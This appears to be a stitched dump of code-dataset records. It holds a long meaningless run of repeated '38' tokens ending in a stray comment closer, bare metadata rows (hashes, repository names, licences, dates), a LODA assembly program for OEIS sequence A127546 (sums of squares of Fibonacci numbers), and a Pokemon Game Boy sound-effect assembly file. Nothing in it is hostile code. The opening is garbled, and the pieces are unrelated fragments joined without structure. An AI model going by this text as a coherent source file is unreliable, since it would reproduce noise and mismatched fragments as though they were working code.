38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
55.78481
2,999
0.660767
b52230d885c62699e3ae3d6f5822ff0a39cb1053
725
asm
Assembly
oeis/127/A127546.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/127/A127546.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/127/A127546.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A127546: a(n) = F(n)^2 + F(n+1)^2 + F(n+2)^2, where F(n) denotes the n-th Fibonacci number. ; Submitted by Jon Maiga ; 2,6,14,38,98,258,674,1766,4622,12102,31682,82946,217154,568518,1488398,3896678,10201634,26708226,69923042,183060902,479259662,1254718086,3284894594,8599965698,22515002498,58945041798,154320122894,404015326886,1057725857762,2769162246402,7249760881442,18980120397926,49690600312334,130091680539078,340584441304898,891661643375618,2334400488821954,6111539823090246,16000218980448782,41889117118256102,109667132374319522,287112280004702466,751669707639787874,1967896842914661158,5152020821104195598 mov $2,1 mov $3,$0 lpb $3 add $1,$2 cmp $4,0 add $2,$4 add $2,$1 sub $3,1 lpe mov $0,$2 mul $0,2
45.3125
497
0.795862
9f369ad7adc7a34082c1120209bd0a011758391a
261
asm
Assembly
audio/sfx/cry02_3.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
audio/sfx/cry02_3.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
audio/sfx/cry02_3.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
SFX_Cry02_3_Ch4: duty 0 squarenote 8, 15, 5, 1152 squarenote 2, 14, 1, 1504 squarenote 8, 13, 1, 1500 endchannel SFX_Cry02_3_Ch5: dutycycle 165 squarenote 7, 9, 5, 1089 squarenote 2, 8, 1, 1313 squarenote 8, 6, 1, 1306 SFX_Cry02_3_Ch7: endchannel
14.5
26
0.716475